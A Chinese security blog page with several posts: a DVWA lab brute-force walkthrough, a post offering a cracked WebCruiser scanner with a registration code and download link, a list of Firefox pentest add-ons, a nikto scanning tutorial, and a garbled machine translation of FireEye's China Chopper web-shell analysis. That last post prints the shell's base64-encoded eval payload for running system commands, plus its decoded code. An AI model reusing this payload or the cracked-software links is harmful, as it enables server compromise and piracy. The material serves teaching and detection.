十大渗透测试系统之---DVWA1.0.8练习笔记(一) 渗透测试

测试环境:

操作系统: Windows 8.1

运行时: .Net Framework 4.5

PHP+MySQL+Apache 集成测试环境: wamp_serverx64

首先,从 http://www.dvwa.co.uk/ 下载 DVWA1.0.8,并将文件释放到 F:\Web\DVWA-1.0.8 (因为我的wamp自己设置的默认目录是 F:\Web,至于方法,请移步:自定义wamp_server的网站根目录)

点击查看原图

修改配置文件 config\config.inc.php , 设置数据库连接账号及默认的安全级别:
$_DVWA[ 'db_server' ] = 'localhost';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = root;
$_DVWA['default_security_level'] = "low";
然后,访问 http://localhost/DVWA-1.0.8/login.php

点击查看原图

第一关,就是考虑如何登录进去。

这里,我们计划采取挂字典进行暴力登录尝试,这类工具称之为 Bruter,下面以 WebCruiser
Web Vulnerability Scanner V3.5.3
(http://sec4app.com )为例,我博客已发布最新破解版。
首先,随便输入一个错误的用户名和密码,这里输入 admin 和 admin :


点击查看原图

提交后, 切换到 Resend(重放)界面:

点击查看原图

最新的请求在最上面,点击它,可以在右边看到详细信息。点击“ Bruter”按钮:

点击查看原图

软件自动切换到 Bruter 界面,并且自动发现 username 和 password 字段(如果使用了特殊的参数名,则手工从下拉列表中选中它)。 Bruter 提供了两种字典方式,一种是用户名和密码使用不同的字典(需要自己去选择字典的位置),另一种是使用网络已泄漏的(用户名 :密码)组合。点击”Go”按钮, 启动猜解:

点击查看原图

可以看到,可以登录的用户名和密码已经猜解出来了,为 admin/password 。切换到 WebBrowser 界面,输入猜解出来的用户名和密码,即可登录成功。

点击查看原图

登录之后,切换到 DVWA Security 设置页,检查一下安全级别是否为低( low),如果不是,修改为 low,这样 DVWA 系统就是含有漏洞的版本了。开始 DVWA 登录后的测试工作了:

点击查看原图

登录之后,里面还有一个 Brute Force 的测试项,继续采用刚才的方式,随便输入用户名和密码提交,并在 Resend 界面找到该请求,并且继续做刚刚登陆的时候一样的步骤,结果如下:


点击查看原图





由图可知.这个测试项也使用了 admin/password 这组账号。

太晚了,今天就到这里吧,明天继续后面的几个操作演示,欢迎转载,转载请注明:Mrxn's Blog  https://mrxn.net 



admin 发布于  2015-5-14 22:31 

WebCruiser Web Vulnerability Scanner 3.5.3 注册码+软件+PDF说明+使用指南 安全工具

Web安全扫描工具WebCruiser - Web Vulnerability Scanner

运行平台:Windows with .Net FrameWork 2.0或以上

界面语言:英文版

功能简介

* 网站爬虫(目录及文件);

* 漏洞扫描(SQL注入,跨站脚本,XPath注入);

* 漏洞验证(SQL注入,跨站脚本,XPath注入);

* SQL Server明文/字段回显/盲注;

* MySQL字段回显/盲注;

* Oracle字段回显/盲注;

* DB2字段回显/盲注;

* Access字段回显/盲注;

* 管理入口查找;

* GET/Post/Cookie 注入;

* 搜索型注入延时;

* 自动从自带浏览器获取Cookie进行认证;

* 自动判断数据库类型;

* 自动获取关键词;

* 多线程;

* 高级:代理、敏感词替换/过滤;

* 报告;

2015-05-14-20.png

与其他的Web安全扫描软件相比较有以下特点:


Web漏洞扫描器webcruiser Web漏洞

扫描仪主要集中在高风险漏洞webcruiser可以

扫描指定的漏洞类型或指定的URL

指定独立页面别的工具通常不能.

2015-05-14-36.png

注册码:  

[email protected]

下载地址:链接:http://pan.baidu.com/s/1sjNsnG5 密码:nrvb

官方下载:http://www.janusec.com/downloads/




admin 发布于  2015-5-14 17:44 

34款Firefox渗透测试插件 安全工具

工欲善必先利其器,firefox一直是各位渗透师必备的利器,Mrxn这里推荐34款firefox渗透测试辅助插件,其中包含渗透测试、信息收集、代理、加密解密等功能。(下面的链接用火狐浏览器直接打开就可以安装了)

1:Firebug 

Firefox的 五星级强力推荐插件之一,不许要多解释

2:User Agent Switcher
改变客户端的User Agent的一款插件

3:Hackbar
攻城师必备工具,提供了SQL注入和XSS攻击,能够快速对字符串进行各种编码。

4:HttpFox
监测和分析浏览器与web服务器之间的HTTP流量

5:Live HTTP Headers
即时查看一个网站的HTTP头

6:Tamper Data
查看和修改HTTP/HTTPS头和POST参数

7:ShowIP
在状态栏显示当前页的IP地址、主机名、ISP、国家和城市等信息。

8:OSVDB
开放源码的漏洞数据库检索

9:Packet Storm search plugin
Packet Storm提供的插件,可以搜索漏洞、工具和exploits等。

10:Offsec Exploit-db Search
搜索Exploit-db信息

11:Security Focus Vulnerabilities Search Plugin
在Security Focus上搜索漏洞

12:Cookie Watcher
在状态栏显示cookie

13:Header Spy
在状态栏显示HTTP头

14:Groundspeed
Manipulate the application user interface.

15:CipherFox
在状态栏显示当前SSL/TLS的加密算法和证书

16:XSS Me
XSS测试扩展

17:SQL Inject Me
SQL注入测试扩展

18:Wappalyzer
查看网站使用的应用程序

19:Poster
发送与Web服务器交互的HTTP请求,并查看输出结果

20:Javascript Deobfuscator
显示网页上运行的Javascript代码

21:Modify Headers
修改HTTP请求头

22:FoxyProxy
代理工具

23:FlagFox
可以在地址栏或状态栏上显示出当前网站所在国家的国旗,也有更多的其他功能,如:双击国旗可以实现WOT功能;鼠标中键点击是whois功能。当然用户可以在选项里设置快捷键实现诸如复制IP,维基百科查询等功能。

24:Greasemonkey
greasemonkey 使你可以向任何网页添加DHTML语句(用户脚本)来改变它们的显示方式。就像CSS可以让你接管网页的样式,而用户脚本(User Script)则可以让你轻易地控制网页设计与交互的任何方面。例如:

 使页面上显示的 URL 都成为可以直接点击进入的链接。 增强网页实用性,使你经常访问的网站更符合你的习惯。* 绕过网站上经常出现的那些烦人的 Bug。

25:Domain Details
显示服务器类型、IP地址、域名注册信息等

26:Websecurify
Websecurify是WEB安全检测软件的Firefox的扩展,可以针对Web应用进行安全评估

27:XSSed Search
搜索XSSed.Com跨站脚本数据库

28:ViewStatePeeker
查看asp.net的iewState

29:CryptoFox
破解MD5、加密/解密工具

30:WorldIP
显示服务器的IP、地址、PING、Traceroute、RDNS等信息

31:Server Spy
识别访问的web服务器类型,版本以及IP地址的插件

32:Default Passwords
搜索CIRT.net默认密码数据库。

33:Snort IDS Rule Search
搜索Snort的IDS规则,做签名开发的应该很有用。

34:FireCAT
FireCAT (Firefox Catalog of Auditing exTensions)是一个收集最有效最有用的应用程序安全审计和风险评估工具的列表(这些工具以Firefox插件形式发布的),FireCAT中没有收集的安全工具类型包括:fuzzer,代理和应用程序扫描器.

欢迎各位小菜和大牛提出更好的建议,有好的工具别藏着呀!拿出来!


admin 发布于  2015-5-5 13:00 

Kali套件之nikto扫描网站漏洞应用小计 Linux

nikto帮助文档

帮助文档比较复杂,这里就使用最简单的几种方法: 
root@kali:~# nikto -H

   Options:
       -ask+               Whether to ask about submitting updates
                               yes   Ask about each (default)
                               no    Don't ask, don't send
                               auto  Don't ask, just send
       -Cgidirs+           Scan these CGI dirs: "none", "all", or values like "/cgi/ /cgi-a/"
       -config+            Use this config file
       -Display+           Turn on/off display outputs:
                               1     Show redirects
                               2     Show cookies received
                               3     Show all 200/OK responses
                               4     Show URLs which require authentication
                               D     Debug output
                               E     Display all HTTP errors
                               P     Print progress to STDOUT
                               S     Scrub output of IPs and hostnames
                               V     Verbose output
       -dbcheck           Check database and other key files for syntax errors
       -evasion+          Encoding technique:
                               1     Random URI encoding (non-UTF8)
                               2     Directory self-reference (/./)
                               3     Premature URL ending
                               4     Prepend long random string
                               5     Fake parameter
                               6     TAB as request spacer
                               7     Change the case of the URL
                               8     Use Windows directory separator (\)
                               A     Use a carriage return (0x0d) as a request spacer
                               B     Use binary value 0x0b as a request spacer
        -Format+           Save file (-o) format:
                               csv   Comma-separated-value
                               htm   HTML Format
                               msf+  Log to Metasploit
                               nbe   Nessus NBE format
                               txt   Plain text
                               xml   XML Format
                               (if not specified the format will be taken from the file extension passed to -output)
       -Help              Extended help information
       -host+             Target host
       -IgnoreCode        Ignore Codes--treat as negative responses
       -id+               Host authentication to use, format is id:pass or id:pass:realm
       -key+              Client certificate key file
       -list-plugins      List all available plugins, perform no testing
       -maxtime+          Maximum testing time per host
       -mutate+           Guess additional file names:
                               1     Test all files with all root directories
                               2     Guess for password file names
                               3     Enumerate user names via Apache (/~user type requests)
                               4     Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests)
                               5     Attempt to brute force sub-domain names, assume that the host name is the parent domain
                               6     Attempt to guess directory names from the supplied dictionary file
       -mutate-options    Provide information for mutates
       -nointeractive     Disables interactive features
       -nolookup          Disables DNS lookups
       -nossl             Disables the use of SSL
       -no404             Disables nikto attempting to guess a 404 page
       -output+           Write output to this file ('.' for auto-name)
       -Pause+            Pause between tests (seconds, integer or float)
       -Plugins+          List of plugins to run (default: ALL)
       -port+             Port to use (default 80)
       -RSAcert+          Client certificate file
       -root+             Prepend root value to all requests, format is /directory
       -Save              Save positive responses to this directory ('.' for auto-name)
       -ssl               Force ssl mode on port
       -Tuning+           Scan tuning:
                               1     Interesting File / Seen in logs
                               2     Misconfiguration / Default File
                               3     Information Disclosure
                               4     Injection (XSS/Script/HTML)
                               5     Remote File Retrieval - Inside Web Root
                               6     Denial of Service
                               7     Remote File Retrieval - Server Wide
                               8     Command Execution / Remote Shell
                               9     SQL Injection
                               0     File Upload
                               a     Authentication Bypass
                               b     Software Identification
                               c     Remote Source Inclusion
                               x     Reverse Tuning Options (i.e., include all except specified)
       -timeout+          Timeout for requests (default 10 seconds)
       -Userdbs           Load only user databases, not the standard databases
                               all   Disable standard dbs and load only user dbs
                               tests Disable only db_tests and load udb_tests
       -until             Run until the specified time or duration
       -update            Update databases and plugins from CIRT.net
       -useproxy          Use the proxy defined in nikto.conf
       -Version           Print plugin and database versions
       -vhost+            Virtual host (for Host header)
        + requires a value

nikto使用示例

使用前需要更新nikto,输入命令:

nikto -update

但有时候会出现网路问题,作者这里这样处理的,如下,不知道对不对。

root@kali:~# nikto -update

+ Retrieving 'db_tests'

 我没有更新Kali系统,所以显示的不是最新版的nikto.

+ ERROR: Unable to get CIRT.net/nikto/UPDATES/2.1.5/db_tests

首先查找文件【 db_tests 】:

root@kali:~# cd /

root@kali:/# find . -name "db_tests"

 

./usr/share/webshag/database/nikto/db_tests

./var/lib/nikto/databases/db_tests

然后删掉文件,重新更新,就可以了:

root@kali:/# cd /var/lib/nikto/databases/

root@kali:/var/lib/nikto/databases# rm db_tests

 

root@kali:/var/lib/nikto/databases# nikto -update

+ Retrieving 'db_tests'

 

+ CIRT.net message: Please submit Nikto bugs to http://trac2.assembla.com/Nikto_2/report/2

如果还是不行,就手动下载:

root@kali:/var/lib/nikto/databases# wget CIRT.net/nikto/UPDATES/2.1.5/db_tests

更新好之后就可以扫描了:

root@kali:/var/lib/nikto/databases# nikto -host http://192.168.168.109/DVWA-1.0.8

- Nikto v2.1.5

 

---------------------------------------------------------------------------

+ Target IP:          192.168.168.109

 

+ Target Hostname:    192.168.168.109

+ Target Port:        80

 

+ Start Time:         2015-04-30 20:08:40 (GMT8)

---------------------------------------------------------------------------

 

+ Server: Apache/2.4.9 (Unix) OpenSSL/1.0.1g PHP/5.5.11 mod_perl/2.0.8-dev Perl/v5.16.3

+ Retrieved x-powered-by header: PHP/5.5.11

 

+ The anti-clickjacking X-Frame-Options header is not present.

+ Cookie PHPSESSID created without the httponly flag

 

+ Cookie security created without the httponly flag

+ Root page / redirects to: login.php

 

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Server leaks inodes via ETags, header found with file /DVWA-1.0.8/robots.txt, fields: 0x1a 0x4dba8594c3d80

 

+ File/dir '/' in robots.txt returned a non-forbidden or redirect HTTP code (302)

+ "robots.txt" contains 1 entry which should be manually viewed.

 

+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD, TRACE

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

 

+ OSVDB-3268: /DVWA-1.0.8/config/: Directory indexing found.

+ /DVWA-1.0.8/config/: Configuration information may be available remotely.

 

+ OSVDB-3268: /DVWA-1.0.8/docs/: Directory indexing found.

+ /DVWA-1.0.8/login.php: Admin login page/section found.

 

+ 6545 items checked: 0 error(s) and 13 item(s) reported on remote host

+ End Time:           2015-04-30 20:09:03 (GMT8) (23 seconds)

 

---------------------------------------------------------------------------

+ 1 host(s) tested

漏洞使用

877漏洞:

root@kali:/var/lib/nikto/databases# telnet 192.168.168.109 80

Trying 192.168.168.109...

 

Connected to 192.168.168.109.

Escape character is '^]'.

 

 

get index.html

 

 

。。。。。。

 

。。。。。。

  <a href="/">localhost</a><br />

 

  <span>Apache/2.4.9 (Unix) OpenSSL/1.0.1g PHP/5.5.11 mod_perl/2.0.8-dev Perl/v5.16.3</span>

</address>

 

</body>

</html>

 

 

Connection closed by foreign host.

服务器的配置信息暴露了~~

3268漏洞:

查看网页:

1.png

参看服务器端,果然有这个文件。

2.png



admin 发布于  2015-4-30 19:09 

剖析中国菜刀第二部分 神器荟萃


介绍

在本系列的第一部分,我描述了中国砍刀的易于使用的界面和先进的功能 - 更卓越的综合考虑网络shell的微小尺寸:73字节的ASPX版本,4千字节的磁盘。在这篇文章中,我将解释中国砍刀平台的通用性,交付机制,流量模式和检测。我的希望是,有了这些信息,你可以消灭这种害虫从您的环境。

平台

那么,什么平台上可以运行中国菜刀?任何Web服务器能够运行JSP,ASP,ASPX,PHP或CFM的。这是大多数Web应用程序语言在那里。什么操作系统?中国斩波器具有足够的灵活性,以在Windows和Linux的透明运行。这个操作系统和应用程序的灵活性,使他们成为更危险的Web外壳。

在本系列的第一部分,我们发现中国砍刀执行使用ASPX在Windows 2003的IIS服务器上。现在,我们将显示它与PHP运行在Linux上。如图1的PHP版本的内容是一样的简约:


<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图1:此命令是所有它需要在Linux上使用PHP来运行。<br> <br> &nbsp;<br> <br> 虽然可用选项因什么平台中国砍刀上运行,Linux中的文件管理功能(见图2),类似于那些在Windows中。</p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><a href="" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image002.jpg"><img width="782" height="325" class="alignnone size-full wp-image-2662 landscape-med" style="border:0px currentColor;border-image:none;" alt="image002" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image002.jpg" data-ke-src="https://mrxn.net/content/uploadfile/201504/56580223669557b619faa1a69b9d820620150418124111.jpg"></a> </p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图2:文件浏览功能在目标系统上运行Linux<br> <br> &nbsp;<br> <br> 在图3所示的数据库的客户端的例子是MySQL的,而不是MS-SQL中,但它提供了许多相同的功能。</p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="297" class="alignnone size-full wp-image-2663 landscape-med" style="border:0px currentColor;border-image:none;" alt="image003" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image003.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image003.jpg"> </p>
    <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图3:从目标系统运行Linux的数据库管理<br> <br> &nbsp;<br> <br> 虚拟终端看起来熟悉(图4),但使用的Linux命令代替视窗,因为这些是由底层操作系统最终解释。</p>
    <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
    <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="296" class="alignnone size-full wp-image-2664 landscape-med" style="border:0px currentColor;border-image:none;" alt="image004" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image004.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image004.jpg"></p>
        <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图4:从目标系统运行的Linux虚拟终端<br> <br> &nbsp;<br> <br> 交付机制<br> <br> 中国斩波的递送机制可以非常灵活,由于恶意软件的有效载荷的大小,格式,和简单。这个小的,基于文本的有效载荷可以通过以下任一机制来递送:<br> <br> &nbsp;&nbsp;&nbsp; WebDAV的文件上传<br> &nbsp;&nbsp;&nbsp; JBoss的JMX控制台或Apache Tomcat的管理页面(有关此攻击媒介的详细信息,请阅读FireEye顾问托尼·李的解释)<br> &nbsp;&nbsp;&nbsp; 与文件放置远程攻击<br> &nbsp;&nbsp;&nbsp; 从其他接入横向传播<br> <br> &nbsp;<br> 流量分析<br> <br> 现在我们已经看到了服务器侧有效载荷和用于控制Web壳客户端。现在,让我们来看看中国砍刀的流量。幸运的是,我们在服务器和客户端组件,所以我们可以开始一个数据包捕获,查看典型流量的内容。如图5所示,客户端启动使用HTTP POST方法通过TCP端口80的连接。</p>
        <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
        <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="448" class="alignnone size-full wp-image-2671 landscape-med" style="border:0px currentColor;border-image:none;" alt="image007" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image007.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image007.jpg"></p>
            <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图5:数据包捕获显示,网络流量的外壳是通过TCP 80端口的HTTP POST交通<br> <br> &nbsp;<br> <br> 因为这是TCP流量,我们可以在“遵循TCP”,在Wireshark的流(一种流行的开源网络协议分析仪,在Unix和Windows的作品)。在图6中,在顶部的红色交通从攻击(Web客户机)。在底部显示为蓝色交通从目标(网络外壳)的响应。</p>
            <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><a href="http://www.wireshark.org/" data-ke-src="http://www.wireshark.org/"></a> </p>
            <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="754" height="667" class="alignnone size-full wp-image-2672 landscape-med" style="border:0px currentColor;border-image:none;" alt="image008" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image0081.png" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image0081.png"> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图6:继TCP流之后,我们可以看到,大多数攻击者的流量是Base64编码。<br> <br> &nbsp;<br> <br> 如上述所强调的,多数攻击流量似乎Base64编码。这是没有问题的,但是,因为它可以很容易地解码。我们使用免费的提琴手网页调试器的“TextWizard”功能来发现攻击者发送。 (注:%3D是等号的URL编码表示(“=”)提琴手需要这种转换为等号正确解码。)<br> <br> 原料攻击流量:</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><strong></strong> </p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>Password=Response.Write("-&gt;|");<p style="margin:5px 0px;-ms-word-wrap:break-word;">var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">GetString(System. Convert.FromBase64String</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5n</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">LkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZX</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">N0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZX</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">RTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZS</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">hvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">("ERROR:// "%2Berr.message);}Response.Write("|&lt;-");Response.End();&amp;z1=Y21k&amp;z2=Y2QgL2QgImM6</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">如图9中,提琴手网页调试文本向导轻松地转换成原始流量的Base64为纯文本。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="579" class="alignnone size-full wp-image-2673 landscape-med" style="border:0px currentColor;border-image:none;" alt="image009" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image009.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image009.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图9:网页调试器解码的Base64交通</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><strong>Decoded traffic:</strong> </p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).<p style="margin:5px 0px;-ms-word-wrap:break-word;">GetString(System.Convert.FromBase64String(Request.Item["<b>z1</b>"])));</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">vare=newSystem.Diagnostics.Process();</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">varout:System.IO.StreamReader,EI:System.IO.StreamReader;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">c.UseShellExecute=false;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">c.RedirectStandardOutput=true;c.RedirectStandardError=true;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">GetString(System.Convert.FromBase64String(Request.Item["<b>z2</b>"]));</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">Response.Write(out.ReadToEnd()+EI.ReadToEnd());</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">最后,我们有更多的东西可读。然而,我们的Base64解码交通正试图解码正被存储为Z1和Z2更Base64的流量。回到我们的攻击流量,“密码”参数结束之后,我们看到了Z1和Z2参数。<br> <br> 我突出Base64编码参数Z1和Z2以下的输出:</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;">
                                    <pre>&amp;<span style="text-decoration:underline;"><b>z1</b></span>=Y21k&amp;<span style="text-decoration:underline;"><b>z2</b></span>=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D</pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">Base64解码参数的Z1和Z2:</p>
